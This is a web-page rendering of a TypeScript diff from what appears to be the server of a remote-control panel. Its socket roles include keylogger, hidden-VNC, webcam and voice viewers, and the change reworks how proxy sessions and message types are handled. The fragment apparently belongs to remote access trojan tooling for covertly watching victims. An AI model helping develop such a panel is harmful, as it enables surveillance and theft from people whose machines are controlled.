||||||
}
|
|
||||||
|
|
||||||
export function getProxySession(
|
|
||||||
sessionId: string,
|
|
||||||
): KeyloggerViewer | undefined {
|
|
||||||
return proxySessions.get(sessionId);
|
|
||||||
}
|
|
||||||
|
|
||||||
export function deleteProxySession(sessionId: string): boolean {
|
|
||||||
return proxySessions.delete(sessionId);
|
|
||||||
}
|
|
||||||
|
|
||||||
export function getProxySessionsByClient(
|
|
||||||
clientId: string,
|
|
||||||
): KeyloggerViewer[] {
|
|
||||||
return Array.from(proxySessions.values()).filter(
|
|
||||||
(s) => s.clientId === clientId,
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
export function getAllProxySessions(): Map<string, KeyloggerViewer> {
|
|
||||||
return proxySessions;
|
|
||||||
}
|
|
||||||
|
|
||||||
export function addVoiceSession(session: VoiceViewer): void {
|
export function addVoiceSession(session: VoiceViewer): void {
|
||||||
voiceSessions.set(session.id, session);
|
voiceSessions.set(session.id, session);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -10,7 +10,6 @@ export type SocketRole =
|
|||||||
| "process_viewer"
|
| "process_viewer"
|
||||||
| "notifications_viewer"
|
| "notifications_viewer"
|
||||||
| "keylogger_viewer"
|
| "keylogger_viewer"
|
||||||
| "proxy_viewer"
|
|
||||||
| "voice_viewer";
|
| "voice_viewer";
|
||||||
|
|
||||||
export type SocketData = {
|
export type SocketData = {
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer";
|
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "notifications_viewer";
|
||||||
|
|
||||||
const textEncoder = new TextEncoder();
|
const textEncoder = new TextEncoder();
|
||||||
|
|
||||||
@@ -28,6 +28,8 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
|||||||
"voice_uplink",
|
"voice_uplink",
|
||||||
"webcam_devices",
|
"webcam_devices",
|
||||||
"hvnc_clone_progress",
|
"hvnc_clone_progress",
|
||||||
|
"proxy_data",
|
||||||
|
"proxy_close",
|
||||||
]);
|
]);
|
||||||
|
|
||||||
export function isAllowedClientMessageType(type: string): boolean {
|
export function isAllowedClientMessageType(type: string): boolean {
|
||||||
|
|||||||
Reference in New Issue
Block a user